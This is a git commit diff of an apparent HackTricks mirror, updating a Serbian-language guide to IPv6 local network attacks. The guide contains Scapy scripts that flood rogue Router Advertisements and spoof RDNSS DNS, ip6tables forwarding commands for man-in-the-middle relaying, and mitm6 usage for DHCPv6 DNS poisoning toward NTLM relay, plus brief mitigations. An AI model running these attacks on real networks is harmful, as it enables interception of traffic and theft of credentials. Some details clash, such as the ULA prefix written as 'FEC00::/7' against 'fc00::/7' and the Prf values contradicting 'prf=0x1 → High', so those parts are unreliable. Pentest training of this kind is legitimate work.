mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
3f4550bf98
commit
7632ecc668
@ -14,7 +14,7 @@ IPv6 adrese su strukturirane da poboljšaju organizaciju mreže i interakciju ur
|
||||
|
||||
Dok IPv6 izostavlja ARP protokol prisutan u IPv4, uvodi **ICMPv6** sa dve glavne poruke:
|
||||
|
||||
- **Zahtev za susedom (NS)**: Multicast poruke za rešavanje adresa.
|
||||
- **Zahtev za suseda (NS)**: Multicast poruke za rešavanje adresa.
|
||||
- **Oglas suseda (NA)**: Unicast odgovori na NS ili spontani oglasi.
|
||||
|
||||
IPv6 takođe uključuje posebne tipove adresa:
|
||||
@ -50,17 +50,17 @@ Data je MAC adresa **`12:34:56:78:9a:bc`**, možete konstruisati Link-local IPv6
|
||||
|
||||
### **Tipovi IPv6 adresa**
|
||||
|
||||
- **Unique Local Address (ULA)**: Za lokalne komunikacije, nije namenjena za javno internet rutiranje. Prefiks: **`FEC00::/7`**
|
||||
- **Multicast Address**: Za komunikaciju jedan-prema-mnogima. Dostavlja se svim interfejsima u multicast grupi. Prefiks: **`FF00::/8`**
|
||||
- **Anycast Address**: Za komunikaciju jedan-prema-najbližem. Šalje se najbližem interfejsu prema ruting protokolu. Deo je **`2000::/3`** globalnog unicast opsega.
|
||||
- **Jedinstvena lokalna adresa (ULA)**: Za lokalne komunikacije, nije namenjena za javno internet rutiranje. Prefiks: **`FEC00::/7`**
|
||||
- **Multicast adresa**: Za komunikaciju jedan-prema-mnogima. Dostavlja se svim interfejsima u multicast grupi. Prefiks: **`FF00::/8`**
|
||||
- **Anycast adresa**: Za komunikaciju jedan-prema-najbližem. Poslata najbližem interfejsu prema ruting protokolu. Deo **`2000::/3`** globalnog unicast opsega.
|
||||
|
||||
### **Prefiksi adresa**
|
||||
|
||||
- **fe80::/10**: Link-Local adrese (slično 169.254.x.x)
|
||||
- **fc00::/7**: Unique Local-Unicast (slično privatnim IPv4 opsezima kao što su 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Global Unicast
|
||||
- **ff02::1**: Multicast All Nodes
|
||||
- **ff02::2**: Multicast Router Nodes
|
||||
- **fc00::/7**: Jedinstveni lokalni unicast (slično privatnim IPv4 opsezima kao što su 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Globalni unicast
|
||||
- **ff02::1**: Multicast Sve čvorove
|
||||
- **ff02::2**: Multicast čvorovi rutera
|
||||
|
||||
### **Otkrivanje IPv6 adresa unutar mreže**
|
||||
|
||||
@ -81,7 +81,7 @@ ip -6 neigh # Display the neighbor table
|
||||
|
||||
Postoji nekoliko tehnika za izvođenje MitM napada u IPv6 mrežama, kao što su:
|
||||
|
||||
- Lažiranje ICMPv6 suseda ili oglasa rutera.
|
||||
- Spoofing ICMPv6 suseda ili oglasa rutera.
|
||||
- Korišćenje ICMPv6 preusmeravanja ili poruka "Packet Too Big" za manipulaciju rutiranjem.
|
||||
- Napad na mobilni IPv6 (obično zahteva da IPSec bude onemogućen).
|
||||
- Postavljanje lažnog DHCPv6 servera.
|
||||
@ -104,7 +104,7 @@ Da bi se identifikovale IPv6 adrese, određene vrste DNS zapisa mogu se upitavat
|
||||
|
||||
### Istraživanje sa Ping6
|
||||
|
||||
Nakon identifikacije IPv6 adresa povezanih sa organizacijom, može se koristiti `ping6` alat za istraživanje. Ovaj alat pomaže u proceni odzivnosti identifikovanih IPv6 adresa, a takođe može pomoći u otkrivanju susednih IPv6 uređaja.
|
||||
Nakon identifikacije IPv6 adresa povezanih sa organizacijom, `ping6` alat može se koristiti za istraživanje. Ovaj alat pomaže u proceni odziva identifikovanih IPv6 adresa, a takođe može pomoći u otkrivanju susednih IPv6 uređaja.
|
||||
|
||||
## Tehnike Napada na IPv6 Lokalnu Mrežu
|
||||
|
||||
@ -112,7 +112,7 @@ Sledeće sekcije pokrivaju praktične layer-2 IPv6 napade koji se mogu izvršiti
|
||||
|
||||
### Podešavanje Sistema za Stabilan Laboratorija
|
||||
|
||||
Pre nego što se igra sa IPv6 saobraćajem, preporučuje se da se ojača vaša mašina kako bi se izbeglo trovanje sopstvenim testovima i kako bi se postigla najbolja performansa tokom masovnog ubacivanja/sniffanja paketa.
|
||||
Pre nego što se igra sa IPv6 saobraćajem, preporučuje se da se ojača vaša mašina kako bi se izbeglo trovanje sopstvenim testovima i kako bi se postigla najbolja performansa tokom masovnog injektovanja/snifovanja paketa.
|
||||
```bash
|
||||
# Enable promiscuous mode to capture all frames
|
||||
sudo ip link set dev eth0 promisc on
|
||||
@ -221,15 +221,42 @@ ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Da biste zapravo **prosledili saobraćaj** nakon što ste pobedili u trci:
|
||||
Da biste zapravo **prosledili saobraćaj** nakon što pobedite u trci:
|
||||
```bash
|
||||
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
|
||||
|
||||
| Flag | Značenje | Efekat na ponašanje klijenta |
|
||||
|------|---------|----------------------------|
|
||||
| **M (Managed Address Configuration)** | Kada je postavljeno na `1`, host MORA koristiti **DHCPv6** da bi dobio svoju IPv6 adresu. | Cela adresa dolazi iz DHCPv6 – savršeno za *mitm6* stil trovanja. |
|
||||
| **O (Other Configuration)** | Kada je postavljeno na `1`, host bi trebao koristiti **DHCPv6** samo da bi dobio *druge* informacije (DNS, NTP, …). | Adresa i dalje putem SLAAC, ali DNS može biti preuzet putem DHCPv6. |
|
||||
| **M=0 / O=0** | Čista SLAAC mreža. | Samo RA / RDNSS trikovi su mogući – DHCPv6 neće biti poslat od strane klijenata. |
|
||||
| **M=1 / O=1** | Mešovito okruženje. | Koriste se i DHCPv6 i SLAAC; površina za spoofing je najveća. |
|
||||
|
||||
Tokom pentesta možete jednostavno pregledati legitimni RA jednom i odlučiti koji je vektor izvodljiv:
|
||||
```bash
|
||||
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
|
||||
```
|
||||
Potražite polje `flags [M,O]` u dump-u – bez potrebe za pogađanjem.
|
||||
|
||||
Polje **Prf** (Router Preference) unutar RA zaglavlja kontroliše koliko atraktivan izgleda vaš lažni ruter kada su prisutna *višestruka* prolaza:
|
||||
|
||||
| Prf value | Binary | Meaning |
|
||||
|-----------|--------|---------|
|
||||
| **High** | `10` | Klijenti preferiraju ovaj ruter u odnosu na bilo koji *Medium*/*Low* |
|
||||
| Medium (default) | `01` | Koristi se od strane gotovo svakog legitimnog uređaja |
|
||||
| Low | `00` | Biraju se samo kada ne postoji bolji ruter |
|
||||
|
||||
Kada generišete paket sa Scapy, možete ga postaviti putem `prf` parametra kao što je prikazano iznad (`prf=0x1` → High). Kombinovanje **High Prf**, **kratkog intervala** i **ne-nultog veka trajanja** čini vaš lažni prolaz izuzetno stabilnim.
|
||||
|
||||
---
|
||||
|
||||
### RDNSS (DNS) Spoofing putem RA
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) omogućava dodavanje **Recursive DNS Server (RDNSS)** opcije unutar RA. Moderni operativni sistemi (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatski mu veruju:
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) omogućava dodavanje opcije **Recursive DNS Server (RDNSS)** unutar RA. Moderni operativni sistemi (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatski mu veruju:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -249,13 +276,13 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Klijenti će **dodati** vaš DNS na svoju listu resolvera za dato vreme trajanja, omogućavajući potpuno DNS preusmeravanje dok vrednost ne istekne ili ne pošaljete `lifetime=0` povratak.
|
||||
Klijenti će **dodati** vaš DNS na svoju listu resolvera za dato vreme, omogućavajući potpuno DNS preusmeravanje dok vrednost ne istekne ili ne pošaljete `lifetime=0` povratak.
|
||||
|
||||
### DHCPv6 DNS Spoofing (mitm6)
|
||||
|
||||
Umesto SLAAC-a, Windows mreže često zavise od **stateless DHCPv6** za DNS. [mitm6](https://github.com/rofl0r/mitm6) automatski odgovara na `Solicit` poruke sa **Advertise → Reply** tokom koji dodeljuje **vašu link-local adresu kao DNS na 300 sekundi**. Ovo otključava:
|
||||
|
||||
* NTLM relajne napade (WPAD + DNS preusmeravanje)
|
||||
* NTLM relayski napadi (WPAD + DNS preusmeravanje)
|
||||
* Presretanje interne rezolucije imena bez dodirivanja rutera
|
||||
|
||||
Tipična upotreba:
|
||||
@ -266,7 +293,7 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
|
||||
* **RA Guard / DHCPv6 Guard / ND Inspekcija** na upravljanim prekidačima.
|
||||
* Port ACL-ovi koji dozvoljavaju samo legitimnom MAC-u rutera da šalje RAs.
|
||||
* Pratiti **nepravilne RAs visoke brzine** ili iznenadne **RDNSS promene**.
|
||||
* Pratiti **nepravilne visoke stope RAs** ili iznenadne **RDNSS promene**.
|
||||
* Onemogućavanje IPv6 na krajnjim tačkama je privremeno rešenje koje često kvari moderne usluge i skriva slepe tačke – umesto toga, preferirati L2 filtriranje.
|
||||
|
||||
## Reference
|
||||
@ -276,5 +303,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
|
||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
- [Praktični vodič za IPv6 napade u lokalnoj mreži](https://habr.com/ru/articles/930526/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user